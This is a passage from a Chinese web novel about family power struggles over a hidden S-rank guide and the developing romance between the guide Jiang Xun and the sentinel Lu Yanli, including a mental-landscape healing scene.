同为盘踞联盟上层多年的传承世家，这些族老们根本不像那些涉世未深的小年轻一样，把这个名不见经传的小向导放在眼里，他们要的本就是作为陆家族长的陆明远本人的意愿。确定了他对待自己家族的态度一如往常，便也将此事轻轻放下。 毕竟，对他们来说，在外面养几个小玩意儿根本就不算什么大事，这里更没有人是真的为了儿女私情而想要联姻的。他们的对手只有体量相似的那几个家族，怎么把对方压下去，让自家小辈获得那个唯一的绑定位置才是他们要做的。稍微敲打一下，让陆家把这件事处理好，不要伤及两家的颜面就可以，他们可从没有因为这点儿小事就取消两家合作的念头。 最后一次挂断通讯，总算没有新的来电了。 陆明远脸上僵硬的笑容彻底消失，取而代之的，是一片冰冷的怒意。 作为陆家的当家人，他几乎是在消息传出来的第一时间，就拿到了关于这个“夏因”和陆厌离互动的全部详细报告。 当所有人还在为了这个突然出现的陌生向导惊诧的时候，他几乎立刻就将这个人与陆厌离之前曾疯狂寻找过的，那个名叫“江寻”的向导对上了号。 然而，最令他生气的并不是陆厌离不顾自己的命令，公然与这个小向导亲密互动的事，而是…… 他猛地抓起了陆家的内部通讯器，几个键按下，对面秒接。 “族……族长……”对面的人噤若寒蝉。 “知道我为什么找你吗？”陆明远的声音冷得掉渣，随即，不等对方回话，声音猛地拔高了一个度，“一群废物！我让你们找了多久？调动了多少人力物力？人就在眼皮子底下你们都找不到？！都已经闹得满城皆知了我才得到消息？你们都是干什么吃的！” “……我再给你们最后一次机会，立刻给我去把这个‘夏因’的底细查出来，从他是怎么认识的老三，一直到现在为什么会突然冒出来，中间这段时间去了哪里，是哪一方的人，为什么你们会一直找不到他的痕迹，所有的一切，都给我挖出来！记住，这是你的最后一次机会，再让我失望，你知道我的手段。” 话毕，陆明远“啪”一声挂断了通讯，他的胸膛剧烈起伏着，心中翻涌着的除了愤怒，还有一些隐约的失控感。整个书房陷入了死寂，只剩下他怒偾的呼吸声。 他愤怒的不仅是陆厌离违抗他的命令，公然把他和那个小向导的关系摆上了台面，也不是这些家族耆老们，有一点风吹草动就跑来探他的底细。而是，他终于发现，不知何时开始，握在他手上的力量，渐渐开始失控了。 上到陆厌离这把一直以来都为了他的命令舍生忘死的刀子，下到那些奉命去抓捕这个“江寻”的手下，竟然都在他不知道的时候，开始不再受他控制了。 从他吩咐下去，把这个老三心心念念着的小向导找出来，已经过去好几个月了。一直以来，不管是关于他的行踪，亦或是其他有价值的消息，都始终没有调查出来，他还以为此人应该已经无声无息地死在外域了。 可如今，对方已经与老三见面了，而且爆出已经来到中央星很久了，在这种情况下，他仍是一直没有得到过任何消息，就有很大的问题了。 以陆家如今掌控的势力范围与手中的资源，他绝不相信他这些经过了无数次残酷竞争，最后脱颖而出的手下，会调查到现在都毫无所得。那么只有一种可能，有谁在背后出了手，在他完全没发现的情况下，已经渗透进了他手下的力量里，把他架空了！ 陆明远的眼中闪过一丝冰冷的厉色，心中已经有了一个人选。 看来还是他这几年太过仁慈，把某些人的胃口养大了。是时候让他得到一个足够深刻的教训了，否则他还不知道，这个陆家究竟是谁在做主！ 至于这个小向导……陆明远冷哼一声，算了，不足为惧，就让他们先逍遥一段时日，等他处理完手上的问题，再去帮老三好好“清理”。 夜色愈加深沉，陆明远思索了片刻，再次拨通了一个通讯。 * 另一边厢，与陆家老宅如今的暗流涌动不同，凡纳家继承人专属的开放式书房里，气氛则是另一种截然不同的灼热热切。 伊莱“滴”一声，关掉了手中那份被下面人第一时间送上他案头的情报，身边的劳伦斯适时奉上一杯温度恰到好处的咖啡，又面不改色地低下头去退入阴影之中。 伊莱的指尖无意识地敲击在靠椅扶手上，脑中飞速运转，目光随着渐渐在他面前揭开面纱的真相，越来越明亮。 最近一段时间里，他一直紧盯着陆厌离的动向，当然看到了在星辉盛宴上的那一幕。与其他感叹着这个名不见经传的小向导好运气的人群不同，他当时便认出了那个充作服务生的小向导真正的身份。 他竟然就是前些日子在中央星上引起一片轩然大波的神秘S级向导，希先生！同时，也是如今在圣所中读书，曾经测出与自己的匹配度高达89%的向导“夏因”！ 这个信息，瞬间便将他如今所知的所有情报串联在了一起。 原来如此，他就说，能够治愈一个完全堕化的S级哨兵，还能把他往上更推一步的，岂能是凡物？如今所有的一切都对上了！ 这个还不为人知的新晋S级向导“夏因”，就是那个拯救了陆厌离的人！他简直是一个价值无法估量的宝藏！与他的真实价值相比，运气更好的，明显是那个陆家老三！ 伊莱的心脏狂跳了起来，这简直是……为他伊莱·凡纳而生的完美伴侣！和那个只有个人勇武，却连自己的命运都无法完全掌控的陆厌离相比，自己和他才是天造地设的一对儿！ 他的能力，他神奇的天赋，只有在自己的手下才能得到最大程度的发挥。如果能与他绑定，让他真心诚意地帮助自己，不仅可能让自己从个人实力上得到无与伦比的助益，更会对整个凡纳家族的未来，都产生难以想象的巨大影响！ 伊莱的眼中闪过一抹势在必得的决心，如今的情势，对他来说更是优势重重。除了陆厌离和这个夏因本人之外，还没有人知道这个夏因真实的价值，正是他夺得此人的最好时机！ “劳伦斯！”伊莱一声呼唤，忠诚的管家马上现出了身形，“吩咐下去，把这个夏因和S级向导‘希先生’的关系，给我瞒得死死的。特别是对那些正在探查这个‘夏因’身份背景的其他家族，决不能让他们，尤其是陆明远，查明夏因的真实身份！必要的时候，允许动用一些非常手段，给我把所有的线索都清除干净了！” “是！”劳伦斯立刻应下，转身便将伊莱的命令层层传达了下去。 伊莱放下心来，把其他的对手扼杀在他们发现秘密之前，他便能打出一个时间差来。 那么，如今横亘在他计划面前的最大阻碍，就是陆厌离了。 他仔细地回忆着情报上的内容。 从两人之前毫不掩饰的亲昵上来看，这个夏因与陆厌离之间的情谊看起来已经很深了，想要斩断两人之间的羁绊，让他真心实意地投入自己的怀抱，心甘情愿成为自己的绑定向导，为凡纳家的壮大贡献自己的力量，仅仅靠一些简单的手段恐怕是行不通的。 必须要想办法……让他们彻底决裂，或者干脆除掉陆老三。 伊莱站起身来，踱步到窗前，望向无垠的黑暗星空，眼神幽深难测。 * 在无数暗流，开始涌动在联盟上层时，陆厌离与江寻的圣所生活，也逐渐步入了一种新的常态之中。 每天早晨，两人一同出门前往圣所，一个去向导学院按部就班地上课，一个拿着那张临时听课证，穿梭在一切他感兴趣的课堂上。 中午，众人或是在哨兵食堂中见到两人的身影，或是看着两人窝在某个僻静的角落中亲密地互相喂食。 傍晚，再一同返回江寻那间小小的公寓中，共同练习那些需要哨向配合的精神技能。 圣所中的学员们，从一开始的震惊热议，到渐渐习惯，再到最终默认了这对实力悬殊却异常亲密的组合，也只用了短短一个周的时间。 而这一个周的集中练习，也让江寻重新熟悉起了那些哨向之间的链接技巧。顺利地将陆厌离精神图景外层，与沉积在身体脉络中的那些污染凝滞清理了个干净。 周末，两人早早起床，提前打理好了一切琐事，留出了充足的时间。今天，他们准备时隔一年，重入陆厌离的精神图景，为他进行更深层次的净化。 深入图景的时间会比较长，保险起见，两人一起躺上了江寻的单人床，相对着贴上了额头。随后，江寻闭上眼睛，凝神静气，心念微动间，强大而柔和的精神力便与陆厌离顺利勾连了起来，下一刻，虚幻的精神通道凭空构建而出，江寻的意识一晃，便被一股作用在胸前的拉力猛地拽了进去。 熟悉地黑暗空间出现在眼前，江寻驾驭起自身这道光团在空间中顺着一个方向闪现着，不一会就来到了那片被封闭起来的光影屏障面前。 如今的他，与过于早已不可同日而语。感应着屏障上一鼓一涨的精神波动，将自身的精神力频率与之同调。而后，B级向导技能“精神融合”发动！江寻将同调的精神力发散出去，包裹住自身的核心意识，然后，缓慢而坚定地向着那层壁垒上推了过去。 两股精神力无声无息地交融起来，江寻的核心意识，顺利突破了那道障碍，侵入了陆厌离的精神图景内部。 进入的瞬间，他的精神力不由自主地向内凝聚，一个许久没有具现出的身影代替那个光团出现在了原地——一只通体雪白，神俊非凡的鹰隼。 白隼有些不适应地拍打了几下身后宽阔的翅膀，在苍茫的空中缓慢盘旋了一圈，重新熟悉这具身体的同时，锐利的鹰瞳扫过脚下这片熟悉又陌生的天地。 天空中飘散着层层薄云，空气流动地缓慢，没有什么风。宽广的大海颜色略显暗沉，但海面上的风雨波涛已经小了许多，失去了过去那种混乱而充满毁灭的压抑感。 江寻的目光继续扫视，很快锁定在了图景中心那座熟悉的孤岛上。过去那接天连地的大火早已不见了踪影，只余袅袅黑烟，携着些黑灰灰烬仍在向着天空之上蒸腾。 岛内无声无息，长相扭曲的黑色荆棘没有了火焰的灼烧，更加繁茂了起来，已经长得郁郁葱葱，倒伏着向着岛内中心那座空旷的庄园延伸而去。 感受着冥冥中拉扯着自己的那道精神力，江寻控制着自己的身体向着庄园飞去。 与此同时，庄园最顶端的阁楼上，同样感受到了那股熟悉而温暖的精神力越来越近，一只趴卧在软垫上的灰色猫咪猛地睁开了他翡翠般的碧眼，身形一展，几步踏上阁楼的窗口便跃了出去。 随即，化作一道灵活矫健的灰色闪电，兴奋地朝着前方白隼盘旋而来的方向疾奔而去。 江寻马上发现了这天地间唯一一道急速运动着的灰影，心中一笑，发出一声清越的啼鸣，收敛了双翼，盘旋着向着庄园缓缓降落了下去。 第174章 优雅又威严的白隼盘旋着缓缓落地， 巨大的羽翼尚未完全收起来，那道灰色闪电已经奔到了近前，一个纵跃， 便像一颗小炮弹一般向着白隼扑了过来， 热情地直接把他扑倒在了地上。 毛茸茸的脑袋怼上来就使劲蹭起了白隼颈侧柔软的绒毛，连蹭带舔地表达着亲昵， 喉咙里发出一连串响亮又急切的呼噜声， 身后的大尾巴也高高翘了起来，快活地左右摇摆着。 在精神世界中，陆厌离的情感表达得更加直白热情，毫无保留。 白隼被这不知轻重的毛团扑得一个趔趄，有些笨拙地扑腾了两下翅膀才维持住了平衡，江寻对自己这个形态还不太适应， 好不容易才用鸟喙和翅膀把这团过分粘人的毛球从身上推开了一些。 “别闹我……”精神世界中，信息传递得更加快速准确， 江寻心念一动，一道讯息便传递了过去， “我们先做正事。” 被江寻这么一说， 灰猫这才稍微收敛下一些，但依旧紧紧挨着白隼行动，跟在他身后寸步不离。 他们此刻站的位置已经在这座空旷的庄园范围内了， 从这个距离看去， 远观看着尚且完好的庄园，内里的朽坏程度其实已经相当严重了。 江寻携着陆厌离，根据自己的感觉又往前走了几步，来到了庄园中一座已经干涸的小喷泉前面。按照布局来看，这里差不多就是整个庄园的中心点了。 他扑闪两下翅膀， 轻盈地落在了喷泉最上方，调动起体内如今堪称浩瀚的精神力，缓缓往四面八方蔓延开去。 如今的江寻，比当初在寂静星上时强大了不知多少倍，精神力不再捉襟见肘，控制力、感知力也同时增强了许多，当时对他来说完全无从下手的状况，在如今的他看来，也变得简单了许多。 略显暗沉的天光下，以白隼为中心，如有实质的柔和莹白色光芒如同缓缓流淌的海水般，向着四面八方蔓延了开来。 当它漫过脚下的喷泉时，黯淡的白色石雕开始重新焕发光彩，干涸的水池底部，一点点泛着银光的泉水凭空汇聚而出，缓缓蔓延开来，发出“滴滴答答”的轻盈水声。 当它漫过周围那些饱经风霜，破败不堪的残垣断壁时，散落于地面的碎石自动崩解化为齑粉，而后又如同被无形的力量牵引着，慢慢流向墙壁、屋檐的破损处，那些坑坑洼洼的伤口，被这些齑粉一点点填补、修复起来。 当它蔓延到围绕着庄园而生的那些嶙峋狰狞的荆棘上时，便有点点新绿从荆棘枯黑皲裂的外皮上破土而出，颤巍巍地舒展开柔嫩的叶片。而后，叶片中心抽长，无数细小的绿芽如同星火般接连涌现，纤细柔软的藤蔓顺着那些扭曲的荆棘盘旋而上，一边从深深扎根其上的根部汲取着养分，一边迅速壮大自身。 当它继续向着四周蔓延开来，缓缓拂过孤岛上焦黑皲裂的土地时，那些仍然如同余烬般闪烁着暗红色光芒的光点彻底熄灭。脚下的土壤仿佛从漫长的沉眠中甦醒了过来，微微蠕动着，将附着在它身上的灰烬与污秽尽数吞噬。 白光继续前进，直至延伸到了四周无边无际的宽广海洋中，终至无形。 经过这一波精神力海洋的温柔抚慰，整个图景之中，虽然距离完全恢复到最理想的宏伟盛景还有着遥远的距离，但那种笼罩在其上的死气沉沉的废墟感正在一点一点褪去。一种极其内敛的生机，从每一分每一寸土地上渐渐洋溢出来。 陆厌离蹲坐在江寻的精神体身边，翡翠般的猫眼睁得滚圆，一眼不眨地看着自己精神图景中发生的神奇变化，心中充满了难以言喻的震撼。 这片从生成伊始，便慢慢损毁下去，荒芜而痛苦，囚困了他无数年的精神图景，此刻，正已肉眼可见的速度被修复，重新开始焕发生机！ 不知过了多久，莹白色的光芒渐渐收敛，白隼轻轻抖了抖羽毛，江寻时隔许久，再次感受到了因为精神力的大量消耗而带来的些微空虚感，这才缓缓收束起剩余的精神力，停止了精神力的持续输出。 陆厌离如今的精神图景范围实在太过浩瀚，即使以他如今的力量，也只能一点一点的逐步为他修复。 以白隼的姿态轻轻拥抱了一下安静蹲坐在他身后，等待着的猫猫，江寻的精神体渐渐虚幻起来，意识随着精神力的收束从链接中抽离开来。眼前一阵明暗闪烁，重新在现实中睁开了眼睛。 江寻微微喘息着，与眼前那双担忧的双眸直直对视了起来，抬手拢上面前人的额发，递给他一个安抚的眼神：“别担心，我没事。” 陆厌离猛地向前紧紧抱住江寻，将面庞埋入他的怀中。在江寻看不见的脸上，露出了复杂的表情。 那是对于他获得了强大实力的欣喜，但更深处，却也因此滋生出一些难以言说的焦虑和不安。 每当他在江寻身边停留的时间更长一些，便越发能够感受到他如今的强大与独立。可自己，从头到尾，似乎只会给他带来麻烦与负担，他从不曾需要自己做任何事。自己对于他来说，真的有任何存在的意义吗？ 当他作为军部少将亦或陆家三子时，他从不曾怀疑过自己的价值，总是有无数人在需要着他。可当他与江寻在一起时，他始终找不到那个能让自己完全安心下来的立足点。这种焦虑始终缠绕在他的心中，早已成为了他的梦魇。 这种惶恐无法言说，他只能将所有纷乱的情绪死死压在心底，下意识地更加贴近江寻，与他贴近再贴近，亲密更亲密，仿佛只有这样才能获得一丝虚幻的安全感。 想着刚才感受到的庞大精神力，他犹豫了一下，声音中带着一丝忐忑不安，小声问道：“江寻……你现在的向导能力，到底到达什么程度了？还有……”他在心中斟酌了一下，不知道接下来的话该不该问出口，“你为什么一直用着‘夏因’这个名字？还一直假装是B级向导隐在圣所中？” 江寻手上的动作顿了一下，又继续着抚摸的动作，缓解陆厌离此时有些波动的情绪。关于这一点，他一直没有向陆厌离提起，其实也是因为，这其中的原因，可能会涉及到对方的家人。不过如今他既然已经对自己问出了口，自己也不会特意去隐瞒。 想了想，他没有直接回答对方的问题，而是拉起陆厌离的手坐起身来：“换衣服，我带你去个地方。” 此时，天色才刚刚有些暗了下来，但是街道上的行人已经越来越少了。江寻带着陆厌离走街串巷，一路向着外城走去，随着离那片混乱而充满生命力的街区越来越近，街上的人也渐渐多了起来。 走过熟悉的暗巷，两人停在了那间挂着锁的不起眼小诊所门口。钥匙插入锁孔轻轻转动，久未开启的大门发出吱呀一声，终于再次迎来了它的主人。 江寻向着陆厌离一让，引着他踏入了这所承载着自己许多时光的小小诊所。 “这是……”暖黄的灯光亮了起来，陆厌离有些惊讶地看向面前这间面积不大，却五脏俱全的小诊所。 这里的布设看起来一点儿也不像是圣所精英学员的风格，各种装置都非常朴素，能看得出来只追求着实用性。整体的风格既不像是愈灵殿那种正规治疗机构，也不像那些开设在各个星球上的公共疏导所，反而更像是那些在混乱区域内存在的无证小医馆。 “这是我的诊所。”江寻将一楼各处的灯统统打开，转过身来摊开双手，向陆厌离展示着自己的领地，“初至中央星的时候，我就是在这里赚到了钱，支撑起了我在圣所学习期间的花费。后来，为了结识人脉，帮我继续寻找你的踪迹，我就把这里继续开办了下来。” 陆厌离看着面前这间小小的诊所，之前听过的一则传闻渐渐从他的脑海中浮现而出，他的神色慢慢震惊起来，却是比以往任何一次都要令他心神震荡。 “你是……” 江寻点了点头，平静地肯定了陆厌离的猜测：“是的，我就是他们口中所说的那个‘希先生’。” 陆厌离张了张嘴，半晌才发出声音：“……S级？寻道者？” “嗯。”江寻点了点头，再次肯定了陆厌离的话语，“机缘巧合，再加上一点点努力和运气，在前阵子刚刚突破上来的。” 他拉过已然被震惊到不知所措的陆厌离，在小诊所里那张旧沙发上并排坐下，声音缓和了下来，开始向他讲述那段与真正的夏因在自由城中的过往。 “……他没能活下来，之后，在城主的安排下，我坐上了前往中央星的穿梭舰，这才从外域来到了这里。” 陆厌离看向江寻，他现在的表情是那么平静，似乎曾经在外域中隐瞒身份，挣扎求生的过往不值一提。可他怎么会不知道江寻是多么喜欢平静简单生活的一个人？他连正常的秩序社会都不想融入，在那样混乱的地方生活，不知道明天和意外哪一个会先来，会让他承受多么大的压力？ 那时候的他，什么也不知道，孤身一人跌落混乱的边缘星域，没有身份没有资源，自己是个刚刚觉醒的向导，朝不保夕，身后还有可能存在的追杀者，在这样的情况下，还要去找一个毫无线索的人，这样的生活有多难？ 更何况，他本来就极难与人交心，能把一个人当做真正的朋友，对他来说是多么难得的事？可这个朋友还在那时为了让他活下来死去了…… 陆厌离的心中涌上巨大的心疼和后怕，原来因为他的过失，让那时的江寻受了这么多的苦。他猛地伸出手，紧紧抱住了江寻，声音里饱含自责：“对不起……都怪我那时一直瞒着你，害你一个人流落在了边缘星域……还没能及时找到你，让你一个人这么久……” 江寻轻拍了拍他的背：“不是你的错，你当时也是一心为了我的安全不是吗？都过去了，现在我们不是已经好好重逢了吗？” 江寻揽着陆厌离，许久，他才稍微平复下了那股自责的情绪，江寻这才说到了这番谈话的重点：“来到中央星之后，我按照解析出来的地址找过去，却发现了不对劲的地方。” 陆厌离闻言，抬头看向江寻。 “那里被监控了起来，有人一直在暗地里搜寻我，我不知道他们是敌是友，但是看他们的态度，似乎来者不善。”江寻认真看向陆厌离，“想到你当时被追杀的事情，我怀疑当时幕后的人，就在你身边，所以他才能得到我的消息，而这些搜寻者很可能与其有关。” 说到正事，陆厌离眉目一凌，瞬间恢复了思考，心下一转，就大概猜到了背后的人。 看到陆厌离的表情，江寻心中一沉，自己大概是猜对了，他接着讲述接下来的事情：“为了安全起见，也为了在中央星上落脚，好继续打听你的消息，我就用了夏因的名字和身份，在圣所里入了学，一直到了现在。” 说到这里，陆厌离才终于完全明白了江寻隐姓埋名的原因，却原来也和自己有关。巨大的愧疚感几乎将他淹没，他死死把脸埋在江寻的肩窝，许久没有抬头。江寻能清晰地感受到怀中的身体正在细微地颤抖着，腰间的双臂越收越紧。 “对不起……”陆厌离的声音闷得几乎听不见，带着巨大的自责，“一直都是因为我……我总是给你带来麻烦，从我们初遇就是如此……” “你明明是潜力无限的顶级向导，若是能在一开始就被塔发现，进入圣所里培养，一定会一生顺遂，被所有人敬仰爱护……都是因为我，从第一次遇见就在拖累你，把你卷进了我身边的这些麻烦和危险里……害你受伤，害你流落到外域，还害你被人搜捕，一直隐姓埋名，小心翼翼地生活到今天……你为我做了这么多，还一手把我拯救回来，可我……好像无法为你做任何事……” 他的话语凌乱而破碎，愧疚感与随之而来的焦虑几乎要将他压垮。 江寻是如此优秀，如此耀眼的一个人，他明明应该得到最好的一切，可自己却一直将灾厄带给他。 他所拥有的一切，实力、家世、身份地位，不仅没能成为江寻的依靠，反而带给了他无数本不必去承担的艰难困苦。 这样的我，对他来说从来都是负担，毫无价值。 这个念头从心中浮现的时候，陆厌离的心脏一阵揪痛，几乎窒息的痛楚与强烈的自我厌恶让他不敢去看江寻的表情，连紧抓着对方的手指都颤动着不敢再用力。 他忍不住地去想，若是江寻是S级向导的事公开，会怎么样呢？ 他是这几十年来联盟诞生的向导中唯一真正达到S级的人，还如此年轻，几乎不用去猜，所有人都知道他必将站上联盟顶端，拥有属于他的无上荣耀。 他当然为江寻拥有的力量与光芒而高兴，从此，他可以获得他本该得到的一切，不论是社会地位、资源钱财、高层的看重或者众人的仰慕，都会唾手可得。 可是同时，他又为这光芒将带来的无可避免的强烈吸引力而惶恐焦虑。到那时，是不是会有无数优秀而背景显赫的哨兵们蜂拥而至？他们可能比他更年轻，比他更听话，比他对江寻更有用，他们不会像自己一样只能带给他无尽的麻烦，到了那个时候，自己还有什么资格继续赖在他身边呢？ 在两人都没有意识到的情况下，他们之间的相处模式，似乎产生了一些微妙的变化。 * 自从将过往与陆厌离全部说开之后，江寻与之相处更加自在了起来。 白天就按部就班地一起上课，晚上回家便窝在一起，为他清理一下精神图景，再享受一番来自顶级哨兵的细致精神补偿。只觉得日子一片岁月静好，重新回到了他们当年在寂静星上生活的时光。 就是陆厌离似乎比开始时更加粘人了，在一起的时候，每天都几乎寸步不离地跟在他身边，坐着要靠，躺着要抱，连他做饭写作业的时候，都要变换成猫形，时时刻刻挂在他身上。 有的时候，真的让他幻视当年他还是小树时的模样。江寻感觉好笑之余，心中对于陆厌离人形姿态的陌生感也在这样的亲密互动中，慢慢散去，像接纳当初的小树般，将他当做了自己最亲密的人。 这天，江寻用过了晚餐，便坐在了书桌前。今天的课程涉及到一种比较复杂的复合模型，要运用到一些综合性知识，计算量也很大。课上时间太短，江寻自觉还没完全消化，便取了类似的题目，一边演算一边复习起来。 没写几行，耳边就传来了熟悉的脚步声。 江寻也没有意外，这段时间里，陆厌离一直如此，这会儿应该是洗好了碗，又来寻他了。他淡定地继续动着笔，等待着对方拟化后跳上自己的膝盖。 可他没想到的是，今天的状况却有些不同。 脚步声到了他身侧，随即而来的，却不是那只熟悉的毛茸茸猫咪。 他只觉得身边的光线一暗又一明，陆厌离没有拟化，而是整个人就地坐了下去，随后身子往前一趴，便将上半身趴在了江寻的腿上，脑袋一歪，便枕上了他的膝盖。 “嗯？”这与以往不同的动作，马上引来了江寻诧异地一瞥，“怎么了？今天不变猫猫了吗？” 陆厌离抿唇，摇了摇头，循着自己的愿望，又抱着江寻的腿往上趴了趴，深深地埋下头去，只将一头蓬松灰发露在外面。 江寻一笑，没有太过在意陆厌离今天的不同，见他趴下的位置仍与最近化作小树时一模一样，便也抬起手来，依着以往的惯性，抚上了他的头发。 似乎是发现了江寻喜欢他作为小树时的一身长毛，陆厌离最近也没有再将头发梳上去。每天都洗得干干净净，吹得蓬松柔软，果然，因此得了许多江寻的宠爱。此时也是如此，江寻的手指滑入他发间还没动几下，便让他感到无比舒服心安，忍不住发出点细微的低吟。 敏锐地听到了这声小小的低吟，江寻也了然一笑，手上的动作更加轻柔随意，还调动起了丝丝细微的精神力覆上自己的手指，让动作时，令陆厌离更加舒适。 不过一直占着一只手也实在有些不方便，江寻刚写完一页推演，翻页时袖子不小心蹭到，那张刚刚被他写满的演算纸便被带了下去。 江寻还没来得及去捡，却见那张纸还未落地，陆厌离便迅捷地一伸头，竟是直接用嘴巴衔住了那张轻飘飘的纸张，温顺仰头递给江寻，翡翠般的双眸同时闪起了亮光，便如以前帮他捡回了遗落的东西，然后跑到他身边求表扬的小树。 被他这个出乎意料的动作惊住，江寻一时有些不知所措。 见江寻没有立刻从他口中拿回纸页，陆厌离疑惑地轻哼了一声，再次仰了仰头，将颀长的脖颈完全暴露出来，凝目望向江寻。 看着他这幅样子，江寻突觉心中浮现出一种前所未有的感觉来，说不清道不明，却搔得他少有的产生了些无措的感觉。 “你……”他看着陆厌离，目光闪烁，一时不知该说什么。 可他这番表现立刻便被陆厌离看进了眼里，脸上迅速浮起一阵苍白，慌忙松开嘴，将纸页取下，口中忙不迭地道起歉来：“对不起……你不喜欢这样吗？我……” 他一边说着，一边无措地坐直了身子，看向江寻的目光又是惊慌又是羞耻，嘴唇嗫嚅着想要继续解释，最终却只能低下了头，手指攥着薄薄一张纸页，用力到指尖发白。 “不是……你别怕。”江寻看着他这副惊慌又惭愧，似乎生怕被自己讨厌的模样，心中生起的那一点点奇怪的麻痒，迅速化为了一阵细密的心疼。 从他手中抽出那页纸随手放在一边，江寻伸出手去，揉了揉陆厌离的一头柔软灰发。而后，将他的头搂进了怀里，不断地安抚起来。 感受到江寻熟悉的温度，不变的态度，陆厌离紧绷着的身体这才慢慢放松了下来，偷偷松了口气，环上他的腰间。 可此时，无人知道，江寻的心中却因为他今日这番不同寻常的行为，不知不觉间种下了一颗奇妙的种子。 第175章 江寻感觉自己最近有点不对劲。 其实自从与陆厌离重逢之后， 即便他一直表现得对自己格外亲密，自己对他的感觉好像也一直与当年在寂静星上时一样纯粹，更加类似于一种羁绊与责任。 这也许是因为他经常会变回小树的姿态， 也或许是因为别的什么原因。不管怎么说， 江寻一直觉得在自己心里，他就是自己的亲密家人， 对他的那些亲密行为， 自己总抱着一种包容的感情在里面，除此之外，似乎并无什么特别。 但这种认知，似乎从上一次莫名的悸动之后，开始变得有些不同了。 直到这时，他才意识到， 他们之间那种在他的眼里再正常不过的相处模式，似乎早就跨过了正常的社交距离。 这让他不得不开始重新审视自己的内心， 也自然而然地将目光更多的放在了陆厌离的身上。 可经过几天的仔细观察，他却发现了一个令他困惑又有些尴尬的事实…… 他对于陆厌离人形状态下的正常亲近， 还是会感到些许的不自在， 会不由自主地想要拉开一些距离；而对于猫咪形态的小树，则可以毫无心理负担地拥抱抚摸，与他亲密互动， 倾注上自己全部的宠爱。 但是， 当陆厌离顶着一副人形的清冷姿态，却做出一些类似小猫一般的举动时，竟每每都会让他心跳不由自主地微微加快，目光无法移开，心中泛起一股觉得他很可爱的微妙悸动。 最糟糕的是， 也不知道陆厌离是发现了这一点还是其他什么缘故，他最近这样的行为越发频繁了。以前在自己面前化为人形时，还会注意一些形象，表现得稍微矜持些，最近也不知怎么的，越发放得开了，即使是维持人形的时候，也频频在他面前流露出些小树特有的习惯动作，惹得自己对他越发关注起来。 这个发现让江寻在面对他时，开始感到了些许莫名的窘迫。 虽然没有谈过恋爱，但他也隐约明白这种不由自主的关注，这种会让心跳加速的悸动意味着什么。 说实话，他并不抗拒与陆厌离发展成进一步的关系，但令他实在不想承认的是，自己的喜好是不是有些过于奇怪了……甚至可以说是有点变态的倾向？ 这令他有时候都会头疼地唾弃自己，也在暗暗怀疑，自己是不是平时太封闭了，整天与陆厌离待在一起，太脱离正常社会了？才会形成了这样奇怪的癖好？ 他也试图将这些糟糕的杂念压下去，可每当陆厌离在他面前再次无意识地展现出那种猫咪一般的动作姿态时，他的视线总是会不受控制地被他完全吸引，心跳也难以克制地加速，根本无法抗拒。 他只希望自己这种有些羞耻的癖好，能在被陆厌离发现之前被自己纠正过来，不要造成让两人都尴尬的后果。 * 圣所的学习生活充实而平静，转眼，又是一周过去，学员们开心地迎来了周末假期。 已经习惯了的生物钟，让江寻早早就醒了过来，当初生的太阳透过窗棂，将绚烂的晨光洒进公寓时，一人一猫已经悠闲地用完了早餐。 在这种休息日里，陆厌离大部分时间都维持着小树的姿态，能更方便地粘着江寻，今天也不例外。 起床之后，他压根就没有重新变回人形，而是一直维持着猫咪的姿态，在江寻的伺候下吃完了早餐，就挂上了他的肩头，在他宽阔的肩膀上绕来绕去地打转，不时用毛茸茸的身体蹭蹭他的颈侧，再用蓬松的尾巴扫扫他的耳朵，试图在江寻完成清洗餐具的工作时，将他的注意力拉回到自己身上。 江寻早就习惯了小树的痴缠，意志坚定地完成了手上的工作，却在打开储物柜收起餐具时，微微皱了皱眉。 之前他一个人住时，大部分时候都是在圣所食堂解决吃饭问题的，家里囤的食材本就不多。最近家里多了一张嘴，他还时常亲自下厨为陆厌离准备早餐午餐、给他带便当去圣所吃，各种食材与调味料的消耗速度，远远超过了预期，如今，储物柜与冷藏室里已经没剩多少东西了。 “家里没多少吃的了，”他随手关上柜门，对肩膀上学他一般探着头的猫猫说道，“今天我们不找人送货上门了，去逛逛超市怎么样？” 他的话音刚落，站在肩头上的猫猫马上眼中一亮，露出期待的眼神来。 紧接着，往下一跃，还跳在半空中身形便一阵模糊，待落地时，已经化作一个赤|裸矫健的俊美灰发青年。 陆厌离脸上的表情不算特别明显，但眼睛里已经带上了显而易见的兴奋。 去超市采购，对他来说，还是一个全新的体验，更何况还是与江寻一起去，更是让他充满了期待。 赖在江寻公寓里的这段时间，他总是在对方面前直接变换形态，原本希望能像许多同僚所说的那样引起江寻的兴趣。可坚持了一段时间，发现一直没能得到什么特别的关注，也就不再抱有期待了。只是他们哨兵在军中时，直接变换身形已是常事，就算没能吸引到江寻，他也没打算改变这个习惯。 “好啊！”一变身过来，他就眼睛发亮，有些雀跃地一步上前，习惯性地像猫猫一样把双手搭上江寻的肩膀，用侧脸蹭上了他的后颈，甚至下意识地伸出舌头，极快地舔了一下近在他眼前的脖颈皮肤。 这个动作完全缘于他最近这段时间的习惯。 然而，他完全没有注意到，就在那温热湿濡的触感在皮肤上炸开的瞬间，江寻手上的动作瞬间停了下来。 江寻没有转身去看陆厌离，可搭在他肩膀上的手指让他清楚地知道对方现在的姿态。 一想到他正全身赤|裸着趴在自己背上，如猫猫一样蹭着自己的脖颈表达亲昵，一股微弱的战栗感便猛地从那被舔舐到的皮肤上窜出，迅速蔓延到他的整个后背，连带着脊椎都抖了一下，头皮都有些隐隐发麻起来。 可背对着的姿势让陆厌离丝毫没有察觉到江寻的异样，下意识地做完这个动作，丢下一句“我去换衣服。”，便立刻松开了他，转身快步向着卧室走去。 江寻站在原地，半晌没有动作，直到耳边的脚步声越走越远，才轻轻抬起手来，抚上颈侧那湿润的一小块皮肤。 刚才那种奇妙的触感正在快速消退下去，江寻捻了捻指尖残留的糯湿，无人看见的面庞上，闪过一丝羞耻与不自在的神情。 * 作为联盟的首都星，中央星上人口众多，各种商业活动也是整个中央星系中最频繁的。 这里的各种大型超市规模极大，货物品类琳琅满目，特别是在周末里，更是人声鼎沸，熙熙攘攘。 各种促销的全息投影不断在空中闪烁着，吸引着一波又一波的顾客。不时有几个装扮得十分可爱的玩偶机器人穿梭在人群中，为客人们导购。亲切的试吃员捧着自家热销的零食熟食，洋溢着笑容招呼顾客，到处都充满了生活的气息。 